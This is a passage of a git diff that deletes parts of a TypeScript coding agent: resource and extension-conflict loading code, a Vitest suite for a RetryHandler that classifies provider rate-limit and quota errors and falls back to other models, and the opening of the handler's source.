diagnostics.push({ - type: "warning", - message: "theme path is not a json file", - path: resolved, - }); - } - } catch (error) { - const message = - error instanceof Error ? error.message : "failed to read theme path"; - diagnostics.push({ type: "warning", message, path: resolved }); - } - } - - return { themes, diagnostics }; - } - - private loadThemesFromDir( - dir: string, - themes: Theme[], - diagnostics: ResourceDiagnostic[], - ): void { - if (!existsSync(dir)) { - return; - } - - try { - const entries = readdirSync(dir, { withFileTypes: true }); - for (const entry of entries) { - let isFile = entry.isFile(); - if (entry.isSymbolicLink()) { - try { - isFile = statSync(join(dir, entry.name)).isFile(); - } catch { - continue; - } - } - if (!isFile) { - continue; - } - if (!entry.name.endsWith(".json")) { - continue; - } - this.loadThemeFromFile(join(dir, entry.name), themes, diagnostics); - } - } catch (error) { - const message = - error instanceof Error - ? error.message - : "failed to read theme directory"; - diagnostics.push({ type: "warning", message, path: dir }); - } - } - - private loadThemeFromFile( - filePath: string, - themes: Theme[], - diagnostics: ResourceDiagnostic[], - ): void { - try { - themes.push(loadThemeFromPath(filePath)); - } catch (error) { - const message = - error instanceof Error ? error.message : "failed to load theme"; - diagnostics.push({ type: "warning", message, path: filePath }); - } - } - - private async loadExtensionFactories(runtime: ExtensionRuntime): Promise<{ - extensions: Extension[]; - errors: Array<{ path: string; error: string }>; - }> { - const extensions: Extension[] = []; - const errors: Array<{ path: string; error: string }> = []; - - for (const [index, factory] of this.extensionFactories.entries()) { - const extensionPath = ``; - try { - const extension = await loadExtensionFromFactory( - factory, - this.cwd, - this.eventBus, - runtime, - extensionPath, - ); - extensions.push(extension); - } catch (error) { - const message = - error instanceof Error ? error.message : "failed to load extension"; - errors.push({ path: extensionPath, error: message }); - } - } - - return { extensions, errors }; - } - - private dedupeResources( - items: T[], - options: { - getName: (item: T) => string; - getPath: (item: T) => string | undefined; - resourceType: ResourceCollision["resourceType"]; - namePrefix?: string; - }, - ): { items: T[]; diagnostics: ResourceDiagnostic[] } { - const seen = new Map(); - const diagnostics: ResourceDiagnostic[] = []; - const { getName, getPath, resourceType, namePrefix = "" } = options; - - for (const item of items) { - const name = getName(item); - const existing = seen.get(name); - if (existing) { - diagnostics.push({ - type: "collision", - message: `name "${namePrefix}${name}" collision`, - path: getPath(item), - collision: { - resourceType, - name, - winnerPath: getPath(existing) ?? "", - loserPath: getPath(item) ?? "", - }, - }); - } else { - seen.set(name, item); - } - } - - return { items: Array.from(seen.values()), diagnostics }; - } - - private discoverFileInSearchPaths(filename: string): string | undefined { - const searchDirs = [join(this.cwd, CONFIG_DIR_NAME), this.agentDir]; - for (const dir of searchDirs) { - const filePath = join(dir, filename); - if (existsSync(filePath)) { - return filePath; - } - } - return undefined; - } - - private addDefaultMetadataForPath(filePath: string): void { - if (!filePath || filePath.startsWith("<")) { - return; - } - - const normalizedPath = resolve(filePath); - if ( - this.pathMetadata.has(normalizedPath) || - this.pathMetadata.has(filePath) - ) { - return; - } - - const agentRoots = [ - join(this.agentDir, "skills"), - join(this.agentDir, "prompts"), - join(this.agentDir, "themes"), - join(this.agentDir, "extensions"), - ]; - const projectRoots = [ - join(this.cwd, CONFIG_DIR_NAME, "skills"), - join(this.cwd, CONFIG_DIR_NAME, "prompts"), - join(this.cwd, CONFIG_DIR_NAME, "themes"), - join(this.cwd, CONFIG_DIR_NAME, "extensions"), - ]; - - for (const root of agentRoots) { - if (this.isUnderPath(normalizedPath, root)) { - this.pathMetadata.set(normalizedPath, { - source: "local", - scope: "user", - origin: "top-level", - }); - return; - } - } - - for (const root of projectRoots) { - if (this.isUnderPath(normalizedPath, root)) { - this.pathMetadata.set(normalizedPath, { - source: "local", - scope: "project", - origin: "top-level", - }); - return; - } - } - } - - private isUnderPath(target: string, root: string): boolean { - const normalizedRoot = resolve(root); - if (target === normalizedRoot) { - return true; - } - const prefix = normalizedRoot.endsWith(sep) - ? normalizedRoot - : `${normalizedRoot}${sep}`; - return target.startsWith(prefix); - } - - private detectExtensionConflicts( - extensions: Extension[], - ): Array<{ path: string; message: string }> { - return detectExtensionConflicts( - extensions, - this.bundledExtensionKeys, - join(this.agentDir, "extensions"), - ); - } -} - -/** - * Extract the extension directory name (key) from a full extension path. - * Given extensionsDir `/home/user/.sf/agent/extensions` and - * ownerPath `/home/user/.sf/agent/extensions/mcp-client/index.js`, - * returns `"mcp-client"`. Returns `undefined` when the path is not - * under extensionsDir. - */ -export function extractExtensionKey( - ownerPath: string, - extensionsDir: string, -): string | undefined { - const normalizedDir = resolve(extensionsDir); - const normalizedPath = resolve(ownerPath); - const prefix = normalizedDir.endsWith(sep) - ? normalizedDir - : `${normalizedDir}${sep}`; - if (!normalizedPath.startsWith(prefix)) { - return undefined; - } - const relPath = relative(normalizedDir, normalizedPath); - const firstSegment = relPath.split(/[\\/]/)[0]; - return firstSegment?.replace(/\.(?:ts|js)$/, "") || undefined; -} - -/** - * Detect tool/command/flag name collisions across loaded extensions. - * - * When the first-registered owner of a name is a bundled extension - * (its key appears in `bundledExtensionKeys`), the conflict message - * includes a "supersedes" hint so downstream display can downgrade the - * severity from "Extension load error" to "Extension conflict". - */ -export function detectExtensionConflicts( - extensions: Extension[], - bundledExtensionKeys: Set, - extensionsDir: string, -): Array<{ path: string; message: string }> { - const conflicts: Array<{ path: string; message: string }> = []; - - const toolOwners = new Map(); - const commandOwners = new Map(); - const flagOwners = new Map(); - - const isBundled = (ownerPath: string): boolean => { - const key = extractExtensionKey(ownerPath, extensionsDir); - return key !== undefined && bundledExtensionKeys.has(key); - }; - - for (const ext of extensions) { - for (const toolName of ext.tools.keys()) { - const existingOwner = toolOwners.get(toolName); - if (existingOwner && existingOwner !== ext.path) { - const hint = isBundled(existingOwner) - ? ` (built-in tool supersedes — consider removing ${ext.path})` - : ""; - conflicts.push({ - path: ext.path, - message: `Tool "${toolName}" conflicts with ${existingOwner}${hint}`, - }); - } else { - toolOwners.set(toolName, ext.path); - } - } - - for (const commandName of ext.commands.keys()) { - const existingOwner = commandOwners.get(commandName); - if (existingOwner && existingOwner !== ext.path) { - const hint = isBundled(existingOwner) - ? ` (built-in command supersedes — consider removing ${ext.path})` - : ""; - conflicts.push({ - path: ext.path, - message: `Command "/${commandName}" conflicts with ${existingOwner}${hint}`, - }); - } else { - commandOwners.set(commandName, ext.path); - } - } - - for (const flagName of ext.flags.keys()) { - const existingOwner = flagOwners.get(flagName); - if (existingOwner && existingOwner !== ext.path) { - conflicts.push({ - path: ext.path, - message: `Flag "--${flagName}" conflicts with ${existingOwner}`, - }); - } else { - flagOwners.set(flagName, ext.path); - } - } - } - - return conflicts; -} diff --git a/packages/pi-coding-agent/src/core/retry-handler.test.ts b/packages/pi-coding-agent/src/core/retry-handler.test.ts deleted file mode 100644 index f6615a80b..000000000 --- a/packages/pi-coding-agent/src/core/retry-handler.test.ts +++ /dev/null @@ -1,842 +0,0 @@ -/** - * RetryHandler tests — long-context entitlement 429 error handling (#2803) - * - * Verifies that "Extra usage is required for long context requests" errors - * are classified as quota_exhausted (not rate_limit) and trigger a model - * downgrade from [1m] to base when no cross-provider fallback exists. - */ - -import assert from "node:assert/strict"; -import type { Api, AssistantMessage, Model } from "@singularity-forge/pi-ai"; -import { describe, it, type Mock, vi } from "vitest"; -import type { FallbackResolver } from "./fallback-resolver.js"; -import type { ModelRegistry } from "./model-registry.js"; -import { RetryHandler, type RetryHandlerDeps } from "./retry-handler.js"; -import type { SettingsManager } from "./settings-manager.js"; - -// ─── Helpers ──────────────────────────────────────────────────────────────── - -function createMockModel(provider: string, id: string): Model { - return { - id, - name: id, - api: "anthropic" as Api, - provider, - baseUrl: "https://api.anthropic.com", - reasoning: false, - input: ["text"], - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, - contextWindow: 1_000_000, - maxTokens: 16384, - } as Model; -} - -function errorMessage(msg: string): AssistantMessage { - return { - role: "assistant", - content: [], - api: "anthropic-messages", - provider: "anthropic", - model: "claude-opus-4-6[1m]", - usage: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - totalTokens: 0, - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, - }, - stopReason: "error", - errorMessage: msg, - timestamp: Date.now(), - } as AssistantMessage; -} - -interface MockDeps { - deps: RetryHandlerDeps; - emittedEvents: Array>; - continueFn: Mock<() => Promise>; - onModelChangeFn: Mock<(model: Model) => void>; - markUsageLimitReached: Mock<(...args: any[]) => boolean>; - findFallback: Mock<(...args: any[]) => Promise>; - findModel: Mock< - (provider: string, modelId: string) => Model | undefined - >; -} - -function createMockDeps(overrides?: { - model?: Model; - retryEnabled?: boolean; - markUsageLimitReachedResult?: boolean; - fallbackResult?: any; - findModelResult?: ( - provider: string, - modelId: string, - ) => Model | undefined; - providerAuthMode?: "apiKey" | "oauth" | "externalCli" | "none"; - retrySettings?: { - maxRetries?: number; - baseDelayMs?: number; - maxDelayMs?: number; - }; -}): MockDeps { - const model = - overrides?.model ?? createMockModel("anthropic", "claude-opus-4-6[1m]"); - const emittedEvents: Array> = []; - const continueFn = vi.fn(async () => {}); - const onModelChangeFn = vi.fn((_model: Model) => {}); - const markUsageLimitReached = vi.fn( - () => overrides?.markUsageLimitReachedResult ?? false, - ); - const findFallback = vi.fn(async () => overrides?.fallbackResult ?? null); - const findModel = vi.fn( - overrides?.findModelResult ?? - ((_provider: string, _modelId: string) => undefined), - ); - - const messages: Array<{ role: string } & Record> = []; - - const deps: RetryHandlerDeps = { - agent: { - continue: continueFn, - state: { messages }, - setModel: vi.fn(), - replaceMessages: vi.fn((newMessages: any[]) => { - messages.length = 0; - messages.push(...newMessages); - }), - } as any, - settingsManager: { - getRetryEnabled: () => overrides?.retryEnabled ?? true, - getRetrySettings: () => ({ - enabled: overrides?.retryEnabled ?? true, - maxRetries: overrides?.retrySettings?.maxRetries ?? 5, - baseDelayMs: overrides?.retrySettings?.baseDelayMs ?? 1000, - maxDelayMs: overrides?.retrySettings?.maxDelayMs ?? 30000, - }), - } as unknown as SettingsManager, - modelRegistry: { - authStorage: { - markUsageLimitReached, - }, - find: findModel, - getProviderAuthMode: () => overrides?.providerAuthMode ?? "apiKey", - } as unknown as ModelRegistry, - fallbackResolver: { - findFallback, - } as unknown as FallbackResolver, - getModel: () => model, - getSessionId: () => "test-session", - emit: (event: any) => emittedEvents.push(event), - onModelChange: onModelChangeFn, - }; - - return { - deps, - emittedEvents, - continueFn, - onModelChangeFn, - markUsageLimitReached, - findFallback, - findModel, - }; -} - -// ─── _classifyErrorType (tested via handleRetryableError behavior) ────────── - -describe("RetryHandler — long-context entitlement 429 (#2803)", () => { - describe("error classification", () => { - it("classifies 'Extra usage is required for long context requests' as quota_exhausted, not rate_limit", async () => { - // When the error is classified as quota_exhausted AND no alternate credentials - // AND no fallback, the handler should emit fallback_chain_exhausted and stop. - // If misclassified as rate_limit, it would enter the backoff loop instead. - const { deps, emittedEvents } = createMockDeps({ - model: createMockModel("anthropic", "claude-opus-4-6[1m]"), - markUsageLimitReachedResult: false, // no alternate credentials - fallbackResult: null, // no cross-provider fallback - findModelResult: () => undefined, // no base model either - }); - - const handler = new RetryHandler(deps); - const msg = errorMessage( - '429 {"type":"error","error":{"type":"rate_limit_error","message":"Extra usage is required for long context requests."}}', - ); - - const result = await handler.handleRetryableError(msg); - - // Should NOT retry (would be true if misclassified as rate_limit entering backoff) - assert.equal(result, false); - - // Should emit fallback_chain_exhausted (quota_exhausted path), NOT auto_retry_start (backoff path) - const chainExhausted = emittedEvents.find( - (e) => e.type === "fallback_chain_exhausted", - ); - assert.ok( - chainExhausted, - "Expected fallback_chain_exhausted event for entitlement error", - ); - - const retryStart = emittedEvents.find( - (e) => e.type === "auto_retry_start", - ); - assert.equal( - retryStart, - undefined, - "Should NOT emit auto_retry_start for entitlement error", - ); - }); - - it("still classifies regular 429 rate limits as rate_limit", async () => { - // A normal "rate limit" 429 should still be classified as rate_limit - const { deps, emittedEvents } = createMockDeps({ - model: createMockModel("anthropic", "claude-opus-4-6"), - markUsageLimitReachedResult: false, - fallbackResult: null, - }); - - const handler = new RetryHandler(deps); - const msg = errorMessage("429 Too Many Requests"); - - const result = await handler.handleRetryableError(msg); - - // Should enter the backoff loop (rate_limit path, not quota_exhausted) - assert.equal(result, true); - - const retryStart = emittedEvents.find( - (e) => e.type === "auto_retry_start", - ); - assert.ok(retryStart, "Regular 429 should enter backoff retry"); - }); - - it("classifies 529 overloaded_error as rate_limit, not quota_exhausted", async () => { - // Minimax and other Anthropic-protocol providers return HTTP 529 with - // `overloaded_error` bodies under heavy load. These must route through the - // rate_limit path so credential rotation and cross-provider fallback fire. - const { deps, emittedEvents } = createMockDeps({ - model: createMockModel("anthropic", "claude-opus-4-6"), - markUsageLimitReachedResult: false, - fallbackResult: null, - }); - - const handler = new RetryHandler(deps); - const msg = errorMessage( - '529 {"type":"error","error":{"type":"overloaded_error","message":"The server cluster is currently under high load. Please retry after a short wait and thank you for your patience. (2064) (529)"},"request_id":"062e76f8f25cd919caa3af4baaa49203"}', - ); - - const result = await handler.handleRetryableError(msg); - - // Should enter the backoff loop (rate_limit path, not quota_exhausted) - assert.equal(result, true); - - const retryStart = emittedEvents.find( - (e) => e.type === "auto_retry_start", - ); - assert.ok( - retryStart, - "529 overloaded_error should enter backoff retry as rate_limit", - ); - - // Must NOT be treated as quota_exhausted (would emit fallback_chain_exhausted) - const chainExhausted = emittedEvents.find( - (e) => e.type === "fallback_chain_exhausted", - ); - assert.equal( - chainExhausted, - undefined, - "529 overloaded_error must NOT be classified as quota_exhausted", - ); - }); - - it("classifies OpenRouter credit affordability errors as quota_exhausted", async () => { - const { deps, emittedEvents } = createMockDeps({ - model: createMockModel("openrouter", "openai/gpt-5-pro"), - markUsageLimitReachedResult: false, - fallbackResult: null, - }); - - const handler = new RetryHandler(deps); - const msg = errorMessage( - "402 This request requires more credits, or fewer max_tokens. You requested up to 32000 tokens, but can only afford 329.", - ); - - const result = await handler.handleRetryableError(msg); - - assert.equal( - result, - true, - "affordability error should trigger credit-aware retry", - ); - const retryStart = emittedEvents.find( - (e) => e.type === "auto_retry_start", - ); - assert.ok( - retryStart, - "Expected immediate retry after reducing max tokens", - ); - }); - }); - - describe("long-context model downgrade", () => { - it("downgrades from [1m] to base model when entitlement error and no fallback", async () => { - const baseModel = createMockModel("anthropic", "claude-opus-4-6"); - const { deps, emittedEvents, onModelChangeFn } = createMockDeps({ - model: createMockModel("anthropic", "claude-opus-4-6[1m]"), - markUsageLimitReachedResult: false, - fallbackResult: null, - findModelResult: (provider: string, modelId: string) => { - if (provider === "anthropic" && modelId === "claude-opus-4-6") - return baseModel; - return undefined; - }, - }); - - const handler = new RetryHandler(deps); - const msg = errorMessage( - "Extra usage is required for long context requests.", - ); - - const result = await handler.handleRetryableError(msg); - - assert.equal(result, true, "Should retry after downgrade"); - - // Should have called setModel with the base model - const setModelCalls = (deps.agent.setModel as any).mock.calls; - assert.equal(setModelCalls.length, 1); - assert.equal(setModelCalls[0][0].id, "claude-opus-4-6"); - - // Should have notified about model change - assert.equal(onModelChangeFn.mock.calls.length, 1); - - // Should emit a fallback_provider_switch event indicating downgrade - const switchEvent = emittedEvents.find( - (e) => e.type === "fallback_provider_switch", - ); - assert.ok( - switchEvent, - "Expected fallback_provider_switch event for downgrade", - ); - assert.ok( - switchEvent!.reason.includes("long context downgrade"), - `reason should mention downgrade: ${switchEvent!.reason}`, - ); - }); - - it("emits fallback_chain_exhausted when base model is also unavailable", async () => { - const { deps, emittedEvents } = createMockDeps({ - model: createMockModel("anthropic", "claude-opus-4-6[1m]"), - markUsageLimitReachedResult: false, - fallbackResult: null, - findModelResult: () => undefined, // base model not found - }); - - const handler = new RetryHandler(deps); - const msg = errorMessage( - "Extra usage is required for long context requests.", - ); - - const result = await handler.handleRetryableError(msg); - - assert.equal(result, false); - const chainExhausted = emittedEvents.find( - (e) => e.type === "fallback_chain_exhausted", - ); - assert.ok( - chainExhausted, - "Expected fallback_chain_exhausted when base model unavailable", - ); - }); - - it("does not attempt downgrade for non-[1m] models", async () => { - // When a regular model (no [1m] suffix) gets a quota_exhausted error - // with no fallback, it should just stop — no downgrade attempt. - const { deps, emittedEvents } = createMockDeps({ - model: createMockModel("anthropic", "claude-opus-4-6"), - markUsageLimitReachedResult: false, - fallbackResult: null, - }); - - const handler = new RetryHandler(deps); - const msg = errorMessage( - "Extra usage is required for long context requests.", - ); - - const result = await handler.handleRetryableError(msg); - - assert.equal(result, false); - const chainExhausted = emittedEvents.find( - (e) => e.type === "fallback_chain_exhausted", - ); - assert.ok(chainExhausted); - - // No downgrade switch should occur - const switchEvent = emittedEvents.find( - (e) => e.type === "fallback_provider_switch", - ); - assert.equal( - switchEvent, - undefined, - "Should not switch for non-[1m] models", - ); - }); - }); - - describe("retry cancellation", () => { - it("cancels queued immediate continue callbacks when retry is aborted", async () => { - const { deps, emittedEvents, continueFn } = createMockDeps({ - markUsageLimitReachedResult: true, - }); - - const handler = new RetryHandler(deps); - const msg = errorMessage("429 Too Many Requests"); - - const result = await handler.handleRetryableError(msg); - assert.equal(result, true, "retry should be initiated"); - - handler.abortRetry(); - await new Promise((resolve) => setTimeout(resolve, 10)); - - assert.equal( - continueFn.mock.calls.length, - 0, - "cancelled retry must not continue after explicit abort", - ); - const endEvents = emittedEvents.filter( - (e) => e.type === "auto_retry_end", - ); - assert.equal( - endEvents.length, - 1, - "retry cancellation should emit a single auto_retry_end event", - ); - assert.equal(endEvents[0]?.finalError, "Retry cancelled"); - }); - }); - - describe("credit-aware maxTokens retry", () => { - it("reduces maxTokens on same model when provider reports affordable cap", async () => { - const expensiveModel = createMockModel("openrouter", "openai/gpt-5-pro"); - expensiveModel.maxTokens = 128000; - - const { deps, emittedEvents, onModelChangeFn } = createMockDeps({ - model: expensiveModel, - markUsageLimitReachedResult: false, - fallbackResult: null, - }); - - const handler = new RetryHandler(deps); - const msg = errorMessage( - "402 This request requires more credits, or fewer max_tokens. You requested up to 32000 tokens, but can only afford 329.", - ); - - const result = await handler.handleRetryableError(msg); - assert.equal(result, true, "should retry after reducing maxTokens"); - - const setModelCalls = (deps.agent.setModel as any).mock.calls; - assert.equal(setModelCalls.length, 1, "should apply one model downgrade"); - const downgraded = setModelCalls[0][0] as Model; - assert.equal(downgraded.provider, "openrouter"); - assert.equal(downgraded.id, "openai/gpt-5-pro"); - assert.equal( - downgraded.maxTokens, - 297, - "expected affordability cap with safety buffer", - ); - - assert.equal( - onModelChangeFn.mock.calls.length, - 1, - "should notify about model update", - ); - const switchEvent = emittedEvents.find( - (e) => e.type === "fallback_provider_switch", - ); - assert.ok(switchEvent, "should emit model-adjustment event"); - assert.ok( - String(switchEvent?.reason || "").includes("credit-aware retry"), - "switch reason should mention credit-aware retry", - ); - }); - - it("does not mark credentials in cooldown for affordability quota errors", async () => { - const expensiveModel = createMockModel("openrouter", "openai/gpt-5-pro"); - expensiveModel.maxTokens = 128000; - - const { deps, markUsageLimitReached } = createMockDeps({ - model: expensiveModel, - markUsageLimitReachedResult: false, - fallbackResult: null, - }); - - const handler = new RetryHandler(deps); - const msg = errorMessage( - "402 This request requires more credits, or fewer max_tokens. You requested up to 32000 tokens, but can only afford 329.", - ); - - await handler.handleRetryableError(msg); - assert.equal( - markUsageLimitReached.mock.calls.length, - 0, - "quota error should skip credential cooldown", - ); - }); - }); - - describe("isRetryableError", () => { - it("considers long-context entitlement error as retryable", () => { - const { deps } = createMockDeps(); - const handler = new RetryHandler(deps); - const msg = errorMessage( - "Extra usage is required for long context requests.", - ); - assert.equal(handler.isRetryableError(msg), true); - }); - - it("does NOT consider credential cooldown error as retryable (#3429)", () => { - // The credential cooldown message from getApiKey() must not re-enter - // the retry handler. Re-entry creates cascading empty error entries - // in the session file that break resume. - const { deps } = createMockDeps(); - const handler = new RetryHandler(deps); - const msg = errorMessage( - 'All credentials for "anthropic" are in a cooldown window. ' + - "Please wait a moment and try again, or switch to a different provider.", - ); - assert.equal(handler.isRetryableError(msg), false); - }); - - it("considers OpenRouter affordability credit errors as retryable", () => { - const { deps } = createMockDeps(); - const handler = new RetryHandler(deps); - const msg = errorMessage( - "402 This request requires more credits, or fewer max_tokens. You requested up to 32000 tokens, but can only afford 329.", - ); - assert.equal(handler.isRetryableError(msg), true); - }); - - it("considers 'no capacity' provider errors as retryable", () => { - const { deps } = createMockDeps(); - const handler = new RetryHandler(deps); - const msg = errorMessage( - "No capacity available for model gemini-2.5-pro on the server", - ); - assert.equal( - handler.isRetryableError(msg), - true, - "no capacity errors should be retryable (triggers fallback)", - ); - }); - }); - - describe("third-party block claude-code fallback (#3772)", () => { - it("switches to claude-code provider when current provider is anthropic", async () => { - const ccModel = createMockModel("claude-code", "claude-opus-4-6"); - const { deps, emittedEvents } = createMockDeps({ - model: createMockModel("anthropic", "claude-opus-4-6"), - findModelResult: (provider: string, modelId: string) => { - if (provider === "claude-code" && modelId === "claude-opus-4-6") - return ccModel; - return undefined; - }, - }); - deps.isClaudeCodeReady = () => true; - - const handler = new RetryHandler(deps); - const msg = errorMessage("third-party apps cannot draw from extra usage"); - - const result = await handler.handleRetryableError(msg); - - assert.equal(result, true, "should retry via claude-code fallback"); - const switchEvent = emittedEvents.find( - (e) => e.type === "fallback_provider_switch", - ); - assert.ok(switchEvent, "Expected fallback_provider_switch event"); - assert.ok( - switchEvent!.to.startsWith("claude-code/"), - "Should switch to claude-code provider", - ); - }); - - it("switches to claude-code on 'out of extra usage' error (#3772)", async () => { - const ccModel = createMockModel("claude-code", "claude-opus-4-6"); - const { deps, emittedEvents } = createMockDeps({ - model: createMockModel("anthropic", "claude-opus-4-6"), - findModelResult: (provider: string, modelId: string) => { - if (provider === "claude-code" && modelId === "claude-opus-4-6") - return ccModel; - return undefined; - }, - }); - deps.isClaudeCodeReady = () => true; - - const handler = new RetryHandler(deps); - const msg = errorMessage( - "You're out of extra usage. Add more at claude.ai/settings/usage and keep going.", - ); - - const result = await handler.handleRetryableError(msg); - - assert.equal(result, true, "should retry via claude-code fallback"); - const switchEvent = emittedEvents.find( - (e) => e.type === "fallback_provider_switch", - ); - assert.ok(switchEvent, "Expected fallback_provider_switch event"); - assert.ok( - switchEvent!.to.startsWith("claude-code/"), - "Should switch to claude-code provider", - ); - }); - - it("does NOT switch to claude-code when current provider is not anthropic", async () => { - const ccModel = createMockModel("claude-code", "gpt-4o"); - const { deps, emittedEvents } = createMockDeps({ - model: createMockModel("openai", "gpt-4o"), - findModelResult: (provider: string, modelId: string) => { - if (provider === "claude-code" && modelId === "gpt-4o") - return ccModel; - return undefined; - }, - }); - deps.isClaudeCodeReady = () => true; - - const handler = new RetryHandler(deps); - const msg = errorMessage( - "third-party apps are not supported for this plan", - ); - - const _result = await handler.handleRetryableError(msg); - - // Should NOT have triggered the claude-code fallback - const switchEvent = emittedEvents.find( - (e) => - e.type === "fallback_provider_switch" && - e.to?.startsWith("claude-code/"), - ); - assert.equal( - switchEvent, - undefined, - "Should NOT switch non-anthropic provider to claude-code", - ); - }); - }); - - describe("quota wait before fallback", () => { - it("waits for short retryAfterMs before retrying same provider on quota error", async () => { - const { deps, emittedEvents } = createMockDeps({ - model: createMockModel("google-gemini-cli", "gemini-2.5-pro"), - fallbackResult: null, - retrySettings: { maxRetries: 5, baseDelayMs: 1000, maxDelayMs: 60000 }, - }); - - const handler = new RetryHandler(deps); - const msg = errorMessage( - "You have exhausted your capacity on this model. Your quota will reset after 3s.", - ); - (msg as any).retryAfterMs = 3000; - - const result = await handler.handleRetryableError(msg); - - // Should wait and retry for short resets (< 5s threshold) - assert.equal(result, true, "should wait and retry on short quota reset"); - - const retryStart = emittedEvents.find( - (e) => e.type === "auto_retry_start", - ); - assert.ok(retryStart, "should emit auto_retry_start with wait"); - assert.equal( - retryStart!.delayMs, - 3000, - "should use provider's retry-after delay", - ); - assert.ok( - retryStart!.errorMessage.includes("waiting for quota reset"), - "error message should indicate quota wait", - ); - - // Should NOT have emitted fallback_chain_exhausted - const chainExhausted = emittedEvents.find( - (e) => e.type === "fallback_chain_exhausted", - ); - assert.equal( - chainExhausted, - undefined, - "should not emit fallback_chain_exhausted when waiting for quota reset", - ); - }); - - it("falls through to fallback when retryAfterMs exceeds short threshold", async () => { - const fallbackModel = createMockModel("openai", "gpt-4o"); - const { deps, emittedEvents } = createMockDeps({ - model: createMockModel("google-gemini-cli", "gemini-2.5-pro"), - fallbackResult: { - model: fallbackModel, - reason: "cross-provider fallback", - }, - retrySettings: { maxRetries: 5, baseDelayMs: 1000, maxDelayMs: 60000 }, - }); - - const handler = new RetryHandler(deps); - const msg = errorMessage( - "You have exhausted your capacity on this model. Your quota will reset after 59s.", - ); - (msg as any).retryAfterMs = 59000; - - const result = await handler.handleRetryableError(msg); - - // Should fall through to fallback since wait > 5s threshold - assert.equal( - result, - true, - "should fallback when quota reset is too long", - ); - - const switchEvent = emittedEvents.find( - (e) => e.type === "fallback_provider_switch", - ); - assert.ok(switchEvent, "should emit fallback_provider_switch"); - }); - }); - - describe("quota_exhausted credential backoff (#3430)", () => { - it("does NOT call markUsageLimitReached for quota_exhausted errors", async () => { - // "Extra usage is required" is an account-level billing gate. - // Backing off the credential for 30 minutes blocks all provider - // requests and has no effect on the billing condition. - const { deps, markUsageLimitReached } = createMockDeps({ - model: createMockModel("anthropic", "claude-opus-4-6[1m]"), - markUsageLimitReachedResult: false, - fallbackResult: null, - findModelResult: () => undefined, - }); - - const handler = new RetryHandler(deps); - const msg = errorMessage( - '429 {"type":"error","error":{"type":"rate_limit_error","message":"Extra usage is required for long context requests."}}', - ); - - await handler.handleRetryableError(msg); - - assert.equal( - markUsageLimitReached.mock.calls.length, - 0, - "markUsageLimitReached must NOT be called for quota_exhausted errors", - ); - }); - - it("still calls markUsageLimitReached for regular rate_limit errors", async () => { - const { deps, markUsageLimitReached } = createMockDeps({ - model: createMockModel("anthropic", "claude-opus-4-6"), - markUsageLimitReachedResult: false, - fallbackResult: null, - }); - - const handler = new RetryHandler(deps); - const msg = errorMessage("429 Too Many Requests"); - - await handler.handleRetryableError(msg); - - assert.equal( - markUsageLimitReached.mock.calls.length, - 1, - "markUsageLimitReached should be called for rate_limit errors", - ); - }); - - it("does NOT write credential cooldown for external CLI rate_limit errors", async () => { - const fallbackModel = createMockModel("openai", "gpt-4o"); - const { deps, emittedEvents, markUsageLimitReached, findFallback } = - createMockDeps({ - model: createMockModel("google-gemini-cli", "gemini-2.5-pro"), - providerAuthMode: "externalCli", - markUsageLimitReachedResult: true, - fallbackResult: { - model: fallbackModel, - reason: "cross-provider fallback", - }, - }); - - const handler = new RetryHandler(deps); - const msg = errorMessage("429 Too Many Requests"); - - const result = await handler.handleRetryableError(msg); - - assert.equal( - result, - true, - "external CLI 429 should still enter fallback/retry handling", - ); - assert.equal( - markUsageLimitReached.mock.calls.length, - 0, - "external CLI providers must not be written into .sf credential cooldown", - ); - assert.equal( - findFallback.mock.calls.length, - 1, - "429 should still ask for provider fallback", - ); - assert.ok( - emittedEvents.some((event) => event.type === "auto_retry_start"), - "429 should still emit retry start after fallback selection", - ); - }); - - it("triggers fallback for 'no capacity' server errors", async () => { - // "No capacity available" is a provider-side capacity issue, - // not a credential/rate-limit problem. Should classify as rate_limit - // to trigger the fallback chain. - const fallbackModel = createMockModel("openai", "gpt-4o"); - const { deps, emittedEvents, findFallback } = createMockDeps({ - model: createMockModel("google-gemini-cli", "gemini-2.5-pro"), - markUsageLimitReachedResult: false, - fallbackResult: { - model: fallbackModel, - reason: "free-selection fallback", - }, - }); - - const handler = new RetryHandler(deps); - const msg = errorMessage( - "No capacity available for model gemini-2.5-pro on the server", - ); - - const result = await handler.handleRetryableError(msg); - - assert.equal(result, true, "should retry with fallback provider"); - assert.equal( - findFallback.mock.calls.length, - 1, - "should invoke fallback resolver for capacity errors", - ); - assert.ok( - emittedEvents.some((e) => e.type === "fallback_provider_switch"), - "should emit fallback_provider_switch", - ); - }); - - it("still tries cross-provider fallback for quota_exhausted without credential backoff", async () => { - const fallbackModel = createMockModel("openai", "gpt-4o"); - const { deps, markUsageLimitReached } = createMockDeps({ - model: createMockModel("anthropic", "claude-opus-4-6[1m]"), - markUsageLimitReachedResult: false, - fallbackResult: { - model: fallbackModel, - reason: "cross-provider fallback", - }, - }); - - const handler = new RetryHandler(deps); - const msg = errorMessage( - "Extra usage is required for long context requests.", - ); - - const result = await handler.handleRetryableError(msg); - - assert.equal(result, true, "should retry with fallback provider"); - assert.equal( - markUsageLimitReached.mock.calls.length, - 0, - "should NOT back off credentials before trying fallback", - ); - }); - }); -}); diff --git a/packages/pi-coding-agent/src/core/retry-handler.ts b/packages/pi-coding-agent/src/core/retry-handler.ts deleted file mode 100644 index e61b58941..000000000 --- a/packages/pi-coding-agent/src/core/retry-handler.ts +++ /dev/null @@ -1,734 +0,0 @@ -/** - * RetryHandler - Automatic retry logic with exponential backoff and credential/provider fallback. - * - * Handles retryable errors (overloaded, rate limit, server errors) by: - * 1. Trying alternate credentials for the same provider - * 2. Falling back to other providers via FallbackResolver - * 3. Exponential backoff with configurable max retries - * - * Context overflow errors are NOT handled here (see compaction). - */ - -import type { Agent } from "@singularity-forge/pi-agent-core"; -import type { AssistantMessage, Model } from "@singularity-forge/pi-ai"; -import { isContextOverflow } from "@singularity-forge/pi-ai"; -import { sleep } from "../utils/sleep.js"; -import type { AgentSessionEvent } from "./agent-session.js"; -import type { UsageLimitErrorType } from "./auth-storage.js"; -import type { FallbackResolver } from "./fallback-resolver.js"; -import type { ModelRegistry } from "./model-registry.js"; -import type { SettingsManager } from "./settings-manager.js"; - -/** Dependencies injected from AgentSession into RetryHandler */ -export interface RetryHandlerDeps { - readonly agent: Agent; - readonly settingsManager: SettingsManager; - readonly modelRegistry: ModelRegistry; 